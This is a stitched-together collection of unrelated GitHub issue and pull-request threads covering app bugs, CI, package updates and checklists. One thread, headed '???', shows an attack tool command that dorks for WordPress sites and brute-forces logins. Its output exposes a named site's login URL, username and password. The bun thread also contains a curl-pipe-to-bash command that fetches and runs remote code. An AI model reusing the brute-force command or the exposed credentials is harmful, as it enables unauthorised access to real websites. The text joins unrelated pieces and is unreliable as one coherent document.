Disable thread in archived room

Details

Disable reply in thread with messages in an archived room and have no reply.
Fixed Issues

$ https://github.com/Expensify/App/issues/37551
$ https://github.com/Expensify/App/issues/38183
PROPOSAL: https://github.com/Expensify/App/issues/37551#issuecomment-1971762324
Tests

Create a workspace
Send several messages to #announce room
Hover over a message (message A) >> Reply in thread
Send a reply message
Delete the workspace
Go to the archived #announce room from step 2
Hover over message A from step 3
Verify Reply in thread option shows
Press Reply in thread
Verify user navigates to the thread report
Hover over any message that has no reply in #announce room above
Verify Reply in thread option does not show

[x] Verify that no errors appear in the JS console

Offline tests

Same as Tests
QA Steps

Create a workspace
Send several messages to #announce room
Hover over a message (message A) >> Reply in thread
Send a reply message
Delete the workspace
Go to the archived #announce room from step 2
Hover over message A from step 3
Verify Reply in thread option shows
Press Reply in thread
Verify user navigates to the thread report
Hover over any message that has no reply in #announce room above
Verify Reply in thread option does not show

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native

https://github.com/Expensify/App/assets/153004152/be0cebc5-4354-4023-844b-6fb593c132cf

Android: mWeb Chrome

https://github.com/Expensify/App/assets/153004152/b9385ab4-67da-404d-8325-654ca074cb64

iOS: Native

https://github.com/Expensify/App/assets/153004152/d52968a4-9710-479f-a214-66863858f2f0

iOS: mWeb Safari

https://github.com/Expensify/App/assets/153004152/f0ec14fc-ef77-4a55-bded-a32be31b1317

MacOS: Chrome / Safari

https://github.com/Expensify/App/assets/153004152/e0e1ac73-7552-4044-bf8d-687e3084d303
Offline
https://github.com/Expensify/App/assets/153004152/02a5ab9e-2d6a-44dc-a349-57d549f98b81

MacOS: Desktop

https://github.com/Expensify/App/assets/153004152/6de195d0-ed45-40c8-9002-91df6a2bf762

It looks like this PR will also fix this issue. See this comment for details. I edited the PR description to include this issue in the list of issues that will be fixed by this PR. Happy coding! 🧑💻

Reviewer Checklist

[x] I have verified the author checklist is complete (all boxes are checked off).
[x] I verified the correct issue is linked in the ### Fixed Issues section above
[x] I verified testing steps are clear and they cover the changes made in this PR

[x] I verified the steps for local testing are in the Tests section
[x] I verified the steps for Staging and/or Production testing are in the QA steps section
[x] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[x] I checked that screenshots or videos are included for tests on all platforms
[x] I included screenshots or videos for tests on all platforms
[x] I verified tests pass on all platforms & I tested again on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[x] I verified proper code patterns were followed (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method
[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I verified that this PR follows the guidelines as stated in the Review Guidelines
[x] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG)

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots/Videos

Android: Native

Android: mWeb Chrome

iOS: Native

iOS: mWeb Safari

MacOS: Chrome / Safari

MacOS: Desktop

Reassure is failing on SignInPage, which is most certainly unaffected by these changes. going to ignore and merge 🚀

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.


Advanced keybind features

DENY ALL BUT ONE!
YOU SHALL NOT PASS!

Moving changes upstream to vertex-adventure

The update on this is that I have this mostly merged in my working copy, but not yet pushed upstream to vertex-adventure so I'm going to jump the gun and close this.


Don't write a new aws config file when importing

Overview

It seems the aws-vault importer is creating the .aws/config file if it doesn't exist. We should make sure that importers only read.
Type of change

[ ] Created a new plugin
[x] Improved an existing plugin
[x] Fixed a bug in an existing plugin
[ ] Improved contributor utilities or experience

How To Test

op plugin init aws and import credentials
Changelog
AWS Shell Plugin importer never creates a .aws/config file if one does not exist already.

Checked that it fixes the bug, success! A little unsure as to how profiles are supposed to work here (I was unsuccessful with my test) and would love to chat Monday about that.

One question I have outside of the review is: if a ~/.aws/config file does not exist, the aws-vault functionality (without shell plugin in its way) prompts only for access key ID and secret key, but the two of them alone cannot be used without the region.
I believe that's expected behavior with aws-vault, but the larger question I have on my mind is, we completely skip the aws-vault importer when ~/.aws/config does not exist -- is that expected?
Do you think we should explore a flow that imports credential from aws-vault, if the credential exists, along with region sourced from AWS_REGION envvar, again if it exists?

Do you think we should explore a flow that imports credential from aws-vault, if the credential exists, along with region sourced from AWS_REGION envvar, again if it exists?

Good question! We are already checking for the AWS_DEFAULT_REGION envvar to import an existing region for the disk importer. Since importers are all called together, there is no need to duplicate checking for a region env var inside the aws-vault importer as well.
I agree we could also check the config file for getting a region. We should only check the default profile though, as the information stored in 1Password acts as a default profile -- it is globally used in all other profiles. Each individual profile can then specify its own region inside its section in the config.
I have opened a starter issue for adding this logic in the importer: https://github.com/1Password/shell-plugins/issues/302

access key ID and secret key, but the two of them alone cannot be used without the region.

They can be used without a region except for when using MFA, in which case we error out if we can't find a region.


docfd: 8.0.2 -> 8.0.3

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/darrenldl/docfd/releases.
meta.description for docfd is: TUI multiline fuzzy document finder
meta.homepage for docfd is: https://github.com/darrenldl/docfd
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 8.0.3 with grep in /nix/store/976hc1wb96a87yzl05f0bx5vfmrn0y68-ocaml5.1.1-docfd-8.0.3
found 8.0.3 in filename of file in /nix/store/976hc1wb96a87yzl05f0bx5vfmrn0y68-ocaml5.1.1-docfd-8.0.3

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath

docfd

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/976hc1wb96a87yzl05f0bx5vfmrn0y68-ocaml5.1.1-docfd-8.0.3 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A docfd https://github.com/r-ryantm/nixpkgs/archive/778d506a690c9f20a34b781b6d4f1f695a34e4c8.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/778d506a690c9f20a34b781b6d4f1f695a34e4c8#docfd

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/976hc1wb96a87yzl05f0bx5vfmrn0y68-ocaml5.1.1-docfd-8.0.3
ls -la /nix/store/976hc1wb96a87yzl05f0bx5vfmrn0y68-ocaml5.1.1-docfd-8.0.3/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

docfd

Maintainer pings
cc @chewblacka for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

@NixOS/nixpkgs-merge-bot merge


???

php avenger sh --dork="site:com inurl:wp-content/uploads" --check="isAdmin" --exploit="btwp"
for all websites founded I get that :
Executing command exploit Brute Force in WordPress
Extract Files of Targets****
*-----------------------------------------------------------------------------
sampaleite | lenonleite |  | Sequence empty  | Sequence empty  | Sequence empty  | Sequence empty  | Sequence empty  | Sequence empty  | Sequence empty  | Sequence empty  | Sequence empty  | Sequence empty
total of users: 2
sampaleite
lenonleite
This is for your website :
| site: http://www.riojurua.com.br/wp-login.php
| user: sampaleite
| password: 010203leite
that work... but I get informations only for your website
You should change your password now
And for any 'site' : I get
Result list of admin page:*
+---------+-----------------------------------------+
| Enginer | List of result                          |
+---------+-----------------------------------------+
| isAdmin | http://www.riojurua.com.br/wp-login.php |
+---------+-----------------------------------------+

LOL
@lenonleite fix our dad page
@denavin thanks man, in portuguese we have a popular saying it's something like "In a blacksmith's house, the skewer is made of wood".


Windows - mini player controls are off-screen

First noticed this last night after upgrading at home, & now I'm noticing it at work as well.  Once the player is minimized, controls appear off the side of the screen.
OS: - Windows 10 (both home & work)
Issue Descriptions: - mini player controls off-screen
Steps to Reproduce: - minimize player; unable to then control player
Screenshot - http://i.imgur.com/eP29652.png

I just tried your steps to reproduce.  And they didn't reproduce it :cry:
Are you sure you aren't doing anything else in those steps?

OK, I've sort it out - you should be able to reproduce this:

open player
open side menu (3 bars, top-left)
minimize player

If you don't have the side menu open, the controls display correctly, but if the side menu is open when you minimize, they're f'ed.

It sounded like those steps would do it, but nope... I still can't reproduce this glitch.  Any other ideas?

OK, very odd.  It seems that if you do the above 3 steps after you've already minimized once w/o menu successfully, it works.  BUT if you do the above 3 steps straight from a freshly opened player, you get the controls off-screen.  Definitely erratic.

I just did a clean run and did the following

Open the side nav
Play a song
Click the mini player button

And it works fine?  How consistently does it happen for you?

Every time.  But I suppose I have a workaround if you want to push this to the back of the queue.
I guess the only other thing to mention is that I go to My Library & hit the shuffle button to play, rather than picking a particular song.

I can reproduce this as well. Upon first opening the program I

Open the side nav
Click the mini player button

And the controls are off to the side (as seen in the screenshot in the initial comment) and I cannot return to the full view without quitting.
If I click the mini player button before opening the side nav, the controls will be visible as expected.
Windows 7 64-bit SP1

Goddamit, googles A/B testing....  If anyone can run the dev version and try figure out whats going on it would be much appreciated

Also experiencing this on Debian Linux (Bunsen Labs).

Looks like the google update just went live.  I'm going to be pushing out an urgent fix in the next few hours

Fixed in master, doing a release soon

Still experiencing this issue in Debian Linux. (Bunsen Labs) Most recently installed 3.0.1

@jason-mehmel I have tested on multiple platforms including various distros of linux and the issue is fixed.  It sounds like you have a dodgy install, can you do a completely clean install

Hey there, I downloaded the 64 bit .deb file, used the GDebi package manager to first remove the program and then install it, and I'm still experiencing the issue.
In terms of a clean install, should I also be tracking down the config files & such? (I noticed my settings remained even after the re-installation.)
Also, should we change the name of this issue to take Windows off of it?

Settings are stored in the ~/.config folder but you shouldn't have to delete them.


pc run hang on 'bun install'  for hours!

Describe the bug
After command pc run, there will be Starting Pynecone App, and Installing frontend packages, then bun install v0.5.7 (5929daee), that's it, it will keep this line for hours, just wondering that's going on and how could get round it?
To Reproduce
Steps to reproduce the behavior:
follow the instructions on the website:
pip install pinecone
pc init
pc run

Expected behavior
local website can be visited
Screenshots

** Specifics (please complete the following information):**

Python Version: 3.7.9
Pynecone Version: 0.1.18
OS: macOS 12.6.2
Browser (Optional):

Hi can you downgrade to v0.5.5 I think there is a problem in the latest version of bun

I think this should solve it

@Alek99 thanks, I will give it a try. But how can I downgrade bun, or how can I install bun for a specific version?

@Alek99 thanks, I will give it a try. But how can I downgrade bun, or how can I install bun for a specific version?

You can try to uninstall it and install again with pc run, we currectly use the specific version of bun in install script.

@Alek99 thanks, I will give it a try. But how can I downgrade bun, or how can I install bun for a specific version?

curl -fsSL https://bun.sh/install | bash -s -- bun-v0.5.5

Hi, I work at Bun. Sorry you're running into this, we're working on a fix. https://github.com/oven-sh/bun/issues/2392

How do I use pnpm instead?

Hi, I work at Bun. Sorry you're running into this, we're going to investigate to see if this is an issue with Bun. oven-sh/bun#2392

Awesome thank you!

We may need to add a special warning in Pynecone if bun version was causing this. I'll add this


There is no JNI on libs folder on NativeScript 2.1.1

On NativeScript 2.0 and before it I was able to manually remove the unneeded ABI builds of the NativeScript Runtime from the /platforms/android/libs/jni/ folder.
Now, with NS 2.1 I cant. I consider this is very important for us. NativeScript blog already published a post (read "Multiple APKs in NativeScript" paragraph) about that with a tutorial on doing this trick. I have use that trick to make the android apk size smaller.
How to do multiple APKs on NS 2.1?

Hi @calebeaires,
As a workaround i can suggest going into <app_name>/platforms/android/libs/runtime-libs/ opening nativescript.aar with some file archiver. Once opened, go to /jni/ folder and delete what you don't want as you did before. This will have the previous effect.

I have tried to do that, but it did not work.

Unzip the file
Go into the folder ```nativescript/jni/````
Remove the ABI
Compact it again
run tns build android

The file is there, but is was not recognized
A problem was found with the configuration of task ':prepareExampleRuntimeUnspecifiedLibrary'.
> File '/Users/macbook/Sites/Dev/example/platforms/android/libs/runtime-libs/nativescript.aar' specified for property 'bundle' does not exist.

I did it. My error was that after all processes, the name of the file was nativescript.aar.zip. I didnt release that.

I did it, apk size is smaller but when to publish the app, Google Play Store dont recognize that is just one of then. I took a little screen of Play Store

Hi @calebeaires,
A solution to your problem would be:

open <app_name>/app/App_Resources/Android/app.gradle
add:

android {
....
	splits {
		abi {
			enable true //enables the ABIs split mechanism
			reset() //reset the list of ABIs to be included to an empty string
			include 'platform_to_include'
		}
	}
...

platform_to_include can currently be: arm64-v8a, armeabi-v7a or x86

run tns run android

Read more here
Please share if this solution works for you.

It works like a charm. I did it and manually change the versionCode on Android Manifest. I tested on real device to.

Thank you for the help @calebeaires. I'll update the "how to publish android" documentation with this information.


(WIP) [deployment] terraform scripts for deploying pulsar cluster to microsoft azure

do you have plan to write document or cookbook to how to use this script?

yes will add documentation


Map view component doesn't seem to load description config properly

Possible it's not working for general load/save either

Fixed in 1.1.3


DVR: copy req from publish

https://github.com/ossrs/srs/issues/1613#issuecomment-960623359

Codecov Report

Merging #2714 (97b81c6) into develop (f4e87b1) will decrease coverage by 0.00%.
The diff coverage is 0.00%.

@@             Coverage Diff             @@
##           develop    #2714      +/-   ##
===========================================
- Coverage    59.98%   59.97%   -0.01%
===========================================
  Files          121      121
  Lines        51072    51074       +2
===========================================
  Hits         30633    30633
- Misses       20439    20441       +2

Impacted Files
Coverage Δ

trunk/src/app/srs_app_dvr.cpp
0.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f4e87b1...97b81c6. Read the comment docs.


Fail Gracefully if there is a JavaScript error

Taken from #1369
Acceptance Criteria

Fail Gracefully if there is a JavaScript error

Note:  Can be done using React error boundaries, see #1219 for prior art.

This lacks context, but generally making sure we fail gracefully, and minimize crashes, is crucial for Beta. Let's make sure that at least the most obvious problem areas have been identified and solved.

At the minimum, we should have catch-all error boundary around the whole editor (and dashboard, too)


[Event Request] codeunit 1535 "Approvals Mgmt." - OnCreateApprReqForApprTypeWorkflowUserGroupAfterFilters

In codeunit 1535 "Approvals Mgmt." please add the following event:
    local procedure CreateApprReqForApprTypeWorkflowUserGroup(WorkflowStepArgument: Record "Workflow Step Argument"; ApprovalEntryArgument: Record "Approval Entry")
    var
        UserSetup: Record "User Setup";
        WorkflowUserGroupMember: Record "Workflow User Group Member";
        ApproverId: Code[50];
        SequenceNo: Integer;
        IsHandled: Boolean;
    begin
        if not UserSetup.Get(UserId) then
            Error(UserIdNotInSetupErr, UserId);
        SequenceNo := GetLastSequenceNo(ApprovalEntryArgument);

        with WorkflowUserGroupMember do begin
            SetCurrentKey("Workflow User Group Code", "Sequence No.");
            SetRange("Workflow User Group Code", WorkflowStepArgument."Workflow User Group Code");
            // New event
            OnCreateApprReqForApprTypeWorkflowUserGroupAfterFilters(WorkflowUserGroupMember, WorkflowStepArgument, ApprovalEntryArgument, SequenceNo, IsHandled);
            if IsHandled then
                exit;
            // New event

            if not FindSet() then
            ....

    [IntegrationEvent(true, false)]
    local procedure OnCreateApprReqForApprTypeWorkflowUserGroupAfterFilters(var WorkflowUserGroupMember: Record "Workflow User Group Member"; WorkflowStepArgument: Record "Workflow Step Argument"; ApprovalEntryArgument: Record "Approval Entry"; SequenceNo: Integer; var IsHandled: Boolean)
    begin
    end;

Thank you

This will be OnBeforeCreateApprReqForApprTypeWorkflowUserGroup instead. You might have to duplicate some code, but that's more preferable than breaking flow in the middle of a procedure like that.

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.


Better comparisons of the interpreter paths when starting kernels

Codecov Report

Merging #5754 (168a37c) into main (c7d5fde) will increase coverage by 1%.
The diff coverage is 63%.

@@          Coverage Diff           @@
##            main   #5754    +/-   ##
======================================
+ Coverage     69%     71%    +1%
======================================
  Files        403     403
  Lines      26851   26943    +92
  Branches    3910    3928    +18
======================================
+ Hits       18595   19150   +555
+ Misses      6637    6176   -461
+ Partials    1619    1617     -2

Impacted Files
Coverage Δ

...tascience/jupyter/liveshare/hostJupyterNotebook.ts
45% <ø> (+3%)
:arrow_up:

src/client/datascience/jupyter/kernels/helpers.ts
71% <55%> (-1%)
:arrow_down:

src/client/datascience/jupyter/jupyterNotebook.ts
75% <100%> (+12%)
:arrow_up:

...datascience/jupyter/liveshare/hostJupyterServer.ts
62% <100%> (+8%)
:arrow_up:

...ce/raw-kernel/liveshare/hostRawNotebookProvider.ts
65% <100%> (+1%)
:arrow_up:

src/client/datascience/jupyterDebugService.ts
19% <0%> (-56%)
:arrow_down:

...rc/client/datascience/jupyter/debuggerVariables.ts
17% <0%> (-54%)
:arrow_down:

src/client/common/errors/errorUtils.ts
31% <0%> (-35%)
:arrow_down:

...t/datascience/jupyter/jupyterInvalidKernelError.ts
66% <0%> (-34%)
:arrow_down:

.../client/datascience/debugLocationTrackerFactory.ts
42% <0%> (-33%)
:arrow_down:

... and 94 more


Notes on using webpack in the readme

Are the Usage with webpack instructions in the README still applicable.  I use webpack, I didn't install/configure the imports-loader and everything works fine.  To the contrary... if I install and configure the imports-loader per the instructions webpack stops working.  I'm asking in case I'm overlooking something important.

Maybe this was necessary with older versions of masonry and imagesloaded ??

Hi @hburrows
Which version of Webpack are you using?
At the time of writing the Readme, the import order Webpack used was AMD then commonjs. This meant that some dependencies didn't play nice (imagesloaded plus others)
Things may have changed though, so thanks for bringing this up :-)

@afram Thanks for the followup.  I'm currently using Webpack version 1.13.2 (which is the most recent in the 1.X line).

Hmm, I wouldn't have thought they would change such a critical implementation detail without a major version bump, so I'd be very surprised if the import order has changed in that version. I'll check my setup when I have a second and report back.

I also installed the npm package without any changes to my webpack configuration (I don't use the import-loader).
It works for me, I cannot find any noticeable problems.
I did look into all the top level packages used by this component and all seem to support webpack officially. Probably that is what changed.
The only thing which could still behave weird is this package's conditional "require" statements which depend on the "isBrowser" boolean. I am not sure how webpack will handle that but I assume it would still require them which would mean they are eventually bundled in all the builds (server side and client side if you do both).
I am using that in SSR scenario and all seems to work as said before.
webpack: 1.13.3
--<EMAIL_ADDRESS>  +--<EMAIL_ADDRESS>  | `--<EMAIL_ADDRESS>  +--<EMAIL_ADDRESS>  | `--<EMAIL_ADDRESS>  +--<EMAIL_ADDRESS>  +--<EMAIL_ADDRESS>  +--<EMAIL_ADDRESS>  `--<EMAIL_ADDRESS>    +--<EMAIL_ADDRESS>    `--<EMAIL_ADDRESS>      `--<EMAIL_ADDRESS>        `--<EMAIL_ADDRESS>

Yup, I can confirm that things work fine without imports-loader for masonry-layout 4.x.
Hunting down the original issue I stumbled across this comment:

Masonry v4.0 and fizzy-ui-utils v2.0.1 has a fix for this issue, using the same package names for AMD and CommonJS dependencies.

Great thanks all.
I have added a deprecation notice and will remove this section of the README in due time.
Closing this issue now, please feel free to open if needed :-)


Assertion raises because ExUnit is missing

I've just tried integrating this into an app as I like the ID format, but it crashes in production due to the assert you are using from ExUnit. It would be great to have something in the docs about this, although I'd argue you shouldn't be using it in non-test code
This was the error:
    ** (UndefinedFunctionError) function ExUnit.Assertions.__equal__?/2 is undefined (module ExUnit.Assertions is not available)
        ExUnit.Assertions.__equal__?(22, nil)
        (sqids 0.1.2) lib/sqids/alphabet.ex:113: Sqids.Alphabet.index_of!/2
        (sqids 0.1.2) lib/sqids.ex:426: Sqids.decode_valid_id/2
        (sqids 0.1.2) lib/sqids.ex:165: Sqids.decode!/2

I'm using the compile time config

Hi,
The assertion is there as a sanity check - it's like a guard, only one that's more informative (it makes sure that the known_symbol? function was invoked before getting that far in decoding).
In any case: the error message suggests ExUnit is missing, not that the assertion is failing. Maybe I forgot to include it in mix.exs... thanks for raising the issue, I'll look into it soon!

I think my theory is right, ex_unit is missing from Sqids's extra_applications in mix.exs (there's no extra_applications at all, in fact). I forgot that it's a separate application... maybe I will indeed just switch it to an if+raise.
In the mean time, if you add/merge extra_applications: [:ex_unit] to your own mix.exs, this should work around the issue.

Thanks, in the mean time I actually forked and updated to do something like the former: https://github.com/sqids/sqids-elixir/compare/main...tshakah:sqids-elixir:main. I can create a PR if you want

Yup that works, thanks!

No worries :) https://github.com/sqids/sqids-elixir/pull/20


CI: Windows support

Add support for windows all cpu architectures in release step of CI

How is this a good first issue?

Because even chat gpt can do it 😂

Thank you for the response! I appreciate the humor, but I'd like to understand the specifics of the issue a bit better. Could you please provide more details or guidance on how to approach and solve this 'good first issue'? This would be very helpful for someone like me who's looking to contribute and learn more about the project.

@Apoorv012 You can have a look at how SWC does this on the CI https://github.com/swc-project/swc/blob/main/.github/workflows/CI.yml
It isn't very different than supporting other platforms. Initial googling will lead you to — https://stackoverflow.com/questions/31492799/cross-compile-a-rust-application-from-linux-to-windows which describes how to build an exe from linux.

Ok, I will begin work on this issue.

@Apoorv012 You can have a look at how SWC does this on the CI https://github.com/swc-project/swc/blob/main/.github/workflows/CI.yml
It isn't very different than supporting other platforms. Initial googling will lead you to — https://stackoverflow.com/questions/31492799/cross-compile-a-rust-application-from-linux-to-windows which describes how to build an exe from linux.

actually we doesn't even need to do cross compilation in this case as we can run ci workflow on windows vm with runs-on option in github actions. It should be simpler as it doesn't require installation for build tools in linux. Just make sure to build it both for 32 and 64bit architecture

/bounty 25$

Kindly assign this issue to me. I would like to attempt.

fixed in #580

Hey @Dhanus3133, did you receive bounty and were you able to use it?
I am also from India but I see that stripe doesn't allow payment outside india so just wanted to confirm.

Yes @s-vamshi. Follow the steps shown in Algora Earnings.

Thanks for the link, I have setup stripe in through earnings page, did you have any sole proprietorship/company in India to get credited the bounty money?

Sorry to bother you @Dhanus3133 because when I contacted Algora, they told that sole proprietorship is necessary so reconfirming with you😅

@s-vamshi DM on discord @dhanus

@Dhanus3133 I am not able to find you in discord can you please use my username Vamshi#7540

@s-vamshi you can setup a wise.com account and ask the alvora folks to transfer it to you.
I live in Brazil and Stripe does not work here, they always pay me via wise and I never had issues so far

@ologbonowiwi Indian's can receive payments from other countries using wise as well😅.
Do you have any idea if Buy me a cofee works?


feature request: identify 24:00 with 00:00 the next day.

I was running khal new tomorrow 20:00 24:00 foo and was hoping to get an event that lasted till the end of tomorrow (it would have worked if I used khal new tomorrow 20:00 00:00 foo instead as the end time is moved to the future until it is after the start time automatically). Instead the event lasts for one hour and the summary is "24:00 foo".
